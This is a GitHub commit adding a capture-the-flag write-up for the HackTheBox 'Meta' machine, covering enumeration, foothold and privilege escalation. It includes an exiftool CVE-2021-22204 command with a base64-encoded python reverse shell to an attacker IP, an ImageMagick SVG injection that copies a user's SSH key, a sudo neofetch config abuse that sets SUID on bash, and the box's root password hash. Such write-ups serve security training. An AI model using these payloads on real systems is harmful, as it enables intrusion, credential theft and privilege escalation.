mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-21 19:43:03 +00:00
Create Meta.md
This commit is contained in:
ARZ
GitHub
parent
bcd17f74ef
commit
42c8d6984c
1 changed files with 181 additions and 0 deletions
181
HackTheBox/Meta.md
Normal file
181
HackTheBox/Meta.md
Normal file
|
|
@ -0,0 +1,181 @@
|
|||
# HackTheBox-Meta
|
||||
|
||||
## NMAP
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|
||||
| ssh-hostkey:
|
||||
| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
|
||||
|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
|
||||
80/tcp open http Apache httpd
|
||||
|_http-server-header: Apache
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
```
|
||||
|
||||
## PORT 80 (HTTP)
|
||||
|
||||
When visiting the site it resovles to domain name `artcorp.htb` , so add this to `hosts` file
|
||||
|
||||
<img src="https://i.imgur.com/HmIYH0u.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/hrP22o2.png"/>
|
||||
|
||||
So running to fuzz for files and directories using `dirsearch`
|
||||
|
||||
<img src="https://i.imgur.com/TJsqUF6.png"/>
|
||||
|
||||
It didn't found anything interesting , since we have a domain name , we can fuzz for a subdomain using `wfuzz`
|
||||
|
||||
<img src="https://i.imgur.com/ufsdlcd.png"/>
|
||||
|
||||
Now adding this to `hosts` file as well
|
||||
|
||||
<img src="https://i.imgur.com/L1A1grU.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/wFgTZsT.png"/>
|
||||
|
||||
|
||||
Now here it's reading metdata from the image file with extension png or jpeg/jpg , I tried uploading a normal php file which the server responded with file not allowed
|
||||
|
||||
<img src="https://i.imgur.com/7yBuqeP.png"/>
|
||||
|
||||
So let's try to add a comment which will have a php command into a legit png file
|
||||
|
||||
<img src="https://i.imgur.com/BwaSOSV.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/mFDrokS.png"/>
|
||||
|
||||
When we upload this to the site , it will remove this php comment
|
||||
|
||||
<img src="https://i.imgur.com/BqUP7Br.png"/>
|
||||
|
||||
## Foothold
|
||||
|
||||
For this there's a CVE (CVE-2021-22204)
|
||||
|
||||
<img src="https://i.imgur.com/NxJZ9Tm.png"/>
|
||||
|
||||
We can find the POC as well
|
||||
|
||||
https://github.com/OneSecCyber/JPEG_RCE
|
||||
|
||||
<img src="https://i.imgur.com/afTmIhg.png"/>
|
||||
|
||||
Clone the repo and use the `eval.config` file
|
||||
|
||||
```bash
|
||||
exiftool -config eval.config image.png -eval='system("id")'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/ua2Jnyl.png"/>
|
||||
|
||||
On uploading it you'll see the out of the command in `system`
|
||||
|
||||
<img src="https://i.imgur.com/PasTjiU.png"/>
|
||||
|
||||
To get a reverse shell we can use python3 to reverse shell payload and to not run into problem quotes problem I base64 encoded the payload so bash doesn't scream about double qutoes and single quotes
|
||||
|
||||
```bash
|
||||
exiftool -config eval.config image.png -eval='system("echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjEyNSIsMjIyMikpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKSc=' | base64 -d |bash")'
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/q0ljUiv.png"/>
|
||||
|
||||
Start the listener and upload the file
|
||||
|
||||
<img src="https://i.imgur.com/cwhriG5.png"/>
|
||||
|
||||
After getting the shell , stabilize it with python3, checking `sudo -l` and other directories I wasn't able to find anything that could allow us to privesc to `thomas` user, so transfered `pspy` to monitor background processes and found that there was a cron job running as thomas
|
||||
|
||||
<img src="https://i.imgur.com/RfecofJ.png"/>
|
||||
|
||||
|
||||
## Privilege Escalation (Thomas)
|
||||
|
||||
If we check the script which is being ran as thomas we can see that it's running `mogrify` , luckily this has an exploit which has command injection
|
||||
|
||||
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
|
||||
|
||||
<img src="https://i.imgur.com/tcBNnY8.png"/>
|
||||
|
||||
So what script is actually doing is naviagting to `convert_images` in web directory and there it's running mogrify to convert image files to png format so we need to place our svg paylod there
|
||||
|
||||
```bash
|
||||
|
||||
<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/uwu`;"'>
|
||||
<read filename="pdf:/etc/passwd"/>
|
||||
<get width="base-width" height="base-height" />
|
||||
<resize geometry="400x400" />
|
||||
<write filename="test.png" />
|
||||
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<image xlink:href="msl:poc.svg" height="100" width="100"/>
|
||||
</svg>
|
||||
</image>
|
||||
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/OnnvdE9.png"/>
|
||||
|
||||
After waiting for a minute for cron job to run the script
|
||||
|
||||
<img src="https://i.imgur.com/Lojjaj3.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/9d7FIpG.png"/>
|
||||
|
||||
This will output the contents of thoma's ssh key in shm folder in a file named `uwu` , now just login through ssh
|
||||
|
||||
<img src="https://i.imgur.com/XKi7DWQ.png"/>
|
||||
|
||||
|
||||
|
||||
## Privilege Escalation (root)
|
||||
|
||||
Running `sudo -l` it shows that we can run `neofetch` as the root user
|
||||
|
||||
<img src="https://i.imgur.com/DDH7vGt.png"/>
|
||||
|
||||
Here we can see that `env_reset` is used which means that we can't really exploit PATH variable to replace any command being ran in neofetch but there's `env_keep+=XDG_CONFIG_HOME` which allows us to use this variable for root user
|
||||
|
||||
Launching neofetch with default config
|
||||
|
||||
<img src="https://i.imgur.com/R9DFVGw.png"/>
|
||||
|
||||
Here we see that it's using the defaut configuration file , now about the `env_keep` we can abuse neofetch by loading a config file , copy the config file from thomas's directory because the cron job will be replacing thie config file so avoid this we can create a folder `neofetch` and put the config file there
|
||||
|
||||
<img src="https://i.imgur.com/a5ig8AE.png"/>
|
||||
|
||||
Now make a change to the default config to see if we are able to load a custom config file
|
||||
|
||||
<img src="https://i.imgur.com/7TaT4Wt.png"/>
|
||||
|
||||
```bash
|
||||
sudo XDG_CONFIG_HOME=/home/thomas /usr/bin/neofetch
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/8ZeBi8R.png"/>
|
||||
|
||||
And this time it loads neofetch with showing users so it did work
|
||||
|
||||
Let's try to add a bash command in the config file , it could be any command so I am checking if it can make bash a SUID so we can get root
|
||||
|
||||
<img src="https://i.imgur.com/o5Uf1W4.png"/>
|
||||
|
||||
After running it we can see that bash has SUID bit on
|
||||
|
||||
<img src="https://i.imgur.com/9BIvG5n.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/D84lRzb.png"/>
|
||||
|
||||
And with this we got root
|
||||
|
||||
## References
|
||||
|
||||
- https://hackerone.com/reports/1154542
|
||||
- https://github.com/OneSecCyber/JPEG_RCE
|
||||
- https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
|
||||
- https://blog.adithyanak.com/oscp-preparation-guide/linux-privilege-escalation/sudo-abuse
|
||||
|
||||
|
||||
root:$6$C2RdQ0RpQ545cx/2$TMbXaoMwVs7XQVOwEwAnzcUVrIR5CdpVaM3Aoml8p9PWQWvxbrGrh/Y6d2.OuKlSHVsNVS0mJwSoGl.q8Pbug0:18996:0:99999:7:::
|
||||
Loading…
Reference in a new issue